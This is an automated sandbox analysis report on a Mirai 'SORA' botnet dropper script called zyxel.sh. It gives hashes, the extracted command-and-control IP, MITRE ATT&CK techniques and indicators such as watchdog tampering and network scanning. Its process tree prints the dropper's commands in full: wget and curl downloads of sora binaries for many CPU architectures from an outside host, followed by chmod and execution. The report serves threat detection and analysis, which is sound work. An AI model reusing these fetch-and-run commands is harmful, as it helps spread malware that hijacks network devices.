mirai | 6d88bc49958c11f8c9c834e4c2be38837c113891a6471e4f7d4dfa1a4b8c5ce3

Analysis

max time kernel
150s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
27/10/2026, 09:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
zyxel.sh
Size 2KB
Sample261027-k2edessyby
SHA256 6d88bc49958c11f8c9c834e4c2be38837c113891a6471e4f7d4dfa1a4b8c5ce3
MD5 dbe6a2e5751a0b10e584116b4e951b7e
SHA1 9d7dfcbfc7efa6410addcc7b956b718debcb63d6
SHA512 b28e68bbab8db1b3506794271ca1134fa143d292473f2f9af9ef5862b5799bb9e294840b77e527898698668d8311896fae56d60a4a0eb504c41053e27b705a41
TLSH
T1C6517DD833164ABA7FF19D53B5F58A1876C0E4A15AC26F46D0FC78BD664CF0824A06E2
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet sora defense_evasion discovery mirai upx

Malware Config

Extracted

Family

mirai

Botnet

SORA

204.194.50.3

Extracted

Family

mirai

204.194.50.3

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

Mirai Renesas payload 1 IoCs

resource	yara_rule
behavioral3/files/fstream-8.dat	family_mirai_renesas

Contacts a large (46408) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
822	chmod
864	chmod
870	chmod
898	chmod
743	chmod
774	chmod
815	chmod
850	chmod
876	chmod
881	chmod
887	chmod
892	chmod
749	chmod
799	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/robben	744	zyxel.sh
/tmp/robben	750	zyxel.sh
/tmp/robben	775	zyxel.sh
/tmp/robben	801	zyxel.sh
/tmp/robben	816	zyxel.sh
/tmp/robben	823	zyxel.sh
/tmp/robben	852	zyxel.sh
/tmp/robben	865	zyxel.sh
/tmp/robben	871	zyxel.sh
/tmp/robben	877	zyxel.sh
/tmp/robben	882	zyxel.sh
/tmp/robben	888	zyxel.sh
/tmp/robben	893	zyxel.sh
/tmp/robben	899	zyxel.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	robben
File opened for modification	/dev/misc/watchdog	robben

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-1.dat	upx
behavioral3/files/fstream-5.dat	upx

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	f2ifgmce1gbkfj51ea1	750	robben

Reads runtime system information 39 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/751/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/884/exe	robben
File opened for reading	/proc/434/exe	robben
File opened for reading	/proc/679/exe	robben
File opened for reading	/proc/680/exe	robben
File opened for reading	/proc/712/exe	robben
File opened for reading	/proc/889/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/677/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/718/exe	robben
File opened for reading	/proc/890/exe	robben
File opened for reading	/proc/661/exe	robben
File opened for reading	/proc/805/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/713/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/715/exe	robben
File opened for reading	/proc/794/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/896/exe	robben
File opened for reading	/proc/810/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/754/exe	robben
File opened for reading	/proc/674/exe	robben
File opened for reading	/proc/703/exe	robben
File opened for reading	/proc/710/exe	robben
File opened for reading	/proc/800/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/874/exe	robben
File opened for reading	/proc/885/exe	robben
File opened for reading	/proc/895/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
746	wget
747	curl
748	cat

Writes file to tmp directory 23 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sora.arm6	curl
File opened for modification	/tmp/sora.ppc	curl
File opened for modification	/tmp/sora.m68k	wget
File opened for modification	/tmp/sora.sh4	curl
File opened for modification	/tmp/sora.mpsl	curl
File opened for modification	/tmp/sora.m68k	curl
File opened for modification	/tmp/sora.sh4	wget
File opened for modification	/tmp/sora.x86	wget
File opened for modification	/tmp/robben	zyxel.sh
File opened for modification	/tmp/sora.mips	curl
File opened for modification	/tmp/sora.x86_64	curl
File opened for modification	/tmp/sora.mips	wget
File opened for modification	/tmp/sora.i468	curl
File opened for modification	/tmp/sora.mpsl	wget
File opened for modification	/tmp/sora.arm4	curl
File opened for modification	/tmp/sora.arm5	curl
File opened for modification	/tmp/sora.arm7	curl
File opened for modification	/tmp/sora.ppc	wget
File opened for modification	/tmp/sora.ppc440fp	curl
File opened for modification	/tmp/sora.x86	curl
File opened for modification	/tmp/sora.i686	curl
File opened for modification	/tmp/sora.arm5	wget
File opened for modification	/tmp/sora.arm6	wget

/tmp/zyxel.sh
/tmp/zyxel.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:715
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.x86
  2⤵
  - Writes file to tmp directory
  PID:722
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:737
- /bin/cat
  cat sora.x86
  2⤵
  PID:742
- /bin/chmod
  chmod +x robben sora.x86 systemd-private-3ff1de9b8989406a8734ff22b25b4045-systemd-timedated.service-jAO0fF zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/robben
  ./robben zyxel.exploit
  2⤵
  PID:744
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:746
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:747
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:748
- /bin/chmod
  chmod +x robben sora.mips sora.x86 systemd-private-3ff1de9b8989406a8734ff22b25b4045-systemd-timedated.service-jAO0fF zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/robben
  ./robben zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:750
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.x86_64
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:772
- /bin/chmod
  chmod +x robben sora.mips sora.x86 sora.x86_64 systemd-private-3ff1de9b8989406a8734ff22b25b4045-systemd-timedated.service-jAO0fF zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/robben
  ./robben zyxel.exploit
  2⤵
  PID:775
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.i468
  2⤵
  PID:776
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:786
- /bin/cat
  cat sora.i468
  2⤵
  PID:797
- /bin/chmod
  chmod +x robben sora.i468 sora.mips sora.x86 sora.x86_64 systemd-private-3ff1de9b8989406a8734ff22b25b4045-systemd-timedated.service-jAO0fF zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/robben
  ./robben zyxel.exploit
  2⤵
  PID:801
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.i686
  2⤵
  PID:805
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:812
- /bin/cat
  cat sora.i686
  2⤵
  PID:814
- /bin/chmod
  chmod +x robben sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 systemd-private-3ff1de9b8989406a8734ff22b25b4045-systemd-timedated.service-jAO0fF zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/robben
  ./robben zyxel.exploit
  2⤵
  PID:816
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.mpsl
  2⤵
  - Writes file to tmp directory
  PID:817
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:820
- /bin/chmod
  chmod +x robben sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-3ff1de9b8989406a8734ff22b25b4045-systemd-timedated.service-jAO0fF zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/robben
  ./robben zyxel.exploit
  2⤵
  PID:823
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.arm4
  2⤵
  PID:826
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/cat
  cat sora.arm4
  2⤵
  PID:849
- /bin/chmod
  chmod +x robben sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-3ff1de9b8989406a8734ff22b25b4045-systemd-timedated.service-jAO0fF zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/robben
  ./robben zyxel.exploit
  2⤵
  PID:852
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.arm5
  2⤵
  - Writes file to tmp directory
  PID:854
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:862
- /bin/cat
  cat sora.arm5
  2⤵
  PID:863
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/robben
  ./robben zyxel.exploit
  2⤵
  PID:865
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.arm6
  2⤵
  - Writes file to tmp directory
  PID:867
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:868
- /bin/cat
  cat sora.arm6
  2⤵
  PID:869
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/robben
  ./robben zyxel.exploit
  2⤵
  PID:871
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.arm7
  2⤵
  PID:873
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:874
- /bin/cat
  cat sora.arm7
  2⤵
  PID:875
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/robben
  ./robben zyxel.exploit
  2⤵
  PID:877
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.ppc
  2⤵
  - Writes file to tmp directory
  PID:878
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /bin/cat
  cat sora.ppc
  2⤵
  PID:880
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64 zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/robben
  ./robben zyxel.exploit
  2⤵
  PID:882
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.ppc440fp
  2⤵
  PID:884
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.ppc440fp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:885
- /bin/cat
  cat sora.ppc440fp
  2⤵
  PID:886
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/robben
  ./robben zyxel.exploit
  2⤵
  PID:888
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.m68k
  2⤵
  - Writes file to tmp directory
  PID:889
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/cat
  cat sora.m68k
  2⤵
  PID:891
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/robben
  ./robben zyxel.exploit
  2⤵
  PID:893
- /usr/bin/wget
  wget http://204.194.50.3/bins/sora.sh4
  2⤵
  - Writes file to tmp directory
  PID:895
- /usr/bin/curl
  curl -O http://204.194.50.3/bins/sora.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:896
- /bin/cat
  cat sora.sh4
  2⤵
  PID:897
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.sh4 sora.x86 sora.x86_64 zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/robben
  ./robben zyxel.exploit
  2⤵
  PID:899

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

robben

Path /tmp/robben
Size 28KB
SHA256 02d1745fc1932ca560190c8f9850320f6374255df0e7f91bdcd8cea323567ca4
MD5 621de2bb172f4fce9bdeae0fcb1ada32
SHA1 b6a2c7c64432ce489d24564fdaf3b6abd781df95
SHA512 7c268d757ef432bdb1407d23498a802dbd340c226cbaafa6a52f98561dc3228f13d2af62c1008e8601044a3e1018b805d4ce95326ecdc4da933972c0682b9404
SSDEEP 768:yxMWBhAHuLegF1aF4NscfOl8liVHNWeUecJgGlzDpbuR1JA:yxdBGuLea19acfjliXWexUVJui
TLSH
T1CFD2D0B91A0B4ADEDE9BCCF6C3E013E0192A0E129903FD4AB49CD7475B675C4A107AD8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

robben

Path /tmp/robben
Size 214B
SHA256 db2dfc1e627fb90bd986951fff590c1f4d0df26fca0ad2af94ccfdec2ab6aa25
MD5 65f6781c1fd861446ef37c2b9c51364c
SHA1 88d4aa4932e110c5265b1d63657746c4a113963e
SHA512 0ed4057b1653e93330fbf07902f19ad0c7957f334d754f52446812d7af8be1b5f5f228b6f375b261b5f6e3c827b97cea3eb138fdfc1b97cc22e78b57e4c31314
TLSH
T1A5D0239EE143224B412211D03EC215D1544C1366F87645E82C817449910C63DC4CA19C
MD5 SHA1 SHA512 TLSH

Submit Download

robben

Path /tmp/robben
Size 212B
SHA256 3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435
MD5 83ab6cd9a67528bbc6f4f360cb7f8d83
SHA1 07e8f17209e0569aab39f062568ff0090d9b20d4
SHA512 171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f
TLSH
T126D0229EE283628B812225D03EC215D2244C23A6F97645E82C82B48A920C63DC4DA69D
MD5 SHA1 SHA512 TLSH

Submit Download

robben

Path /tmp/robben
Size 64KB
SHA256 b25cd22b59b8516fdfdd54c7f0dc2356ce883aea4e87f659f2ca66d214726fa4
MD5 b3adb56f7a54a9951a0082b4d03877c2
SHA1 78963b16060f3b1591e414b8867791113f86a990
SHA512 4aaf4870193337157b2ed2678f655bbe7545d9b58a31d1125c40c50e04298fb4a1e3168a929969d0c12e0f616752f33e762fa4a2c2c06fdd7f20dfd15cc29a8a
SSDEEP 1536:PaAtVnz1/mUUNztiYmW6ihiYLTofs3wfpWIDNEJ7JC7a:P/tVz1eUUfwN0T0f+whWONEJ7J3
TLSH
T1D6539EA5C1ACAE58CA1441B8B654CD398733F408A6E76EF7D646C796800BEECF1187F1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sora.x86

Path /tmp/sora.x86
Size 27KB
SHA256 d416e786af64b877744b04d16f6134503993c9f1bb43427c4790fae615833e0c
MD5 7af1c8395f2843ab456c1bf9a3b4d596
SHA1 e087341edf7f35e45bdf95b001bbfd375b15b856
SHA512 52ac703177e4e5e6639b6ca3757f2458ba391c59fd035ad2f13aa1418543b24ba9ed1ee6f244a54c38ae08f604aa3d0b7ab144ceeac904b70c16f9865a144a16
SSDEEP 384:MX1DMwk8JPyGNoDZsEXVZVBy6xIJSlSmknnLZddZ6TJfUVlMWEbo28tEe5mjIgaj:qMw4DZdFbBy6x3K/KdWnH5n2ep0NW
TLSH
T180C2E1BC7EBB6F83CE1700356598FE3782B0A5A5D35BB6D6B24485016C130E5BA26CD4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads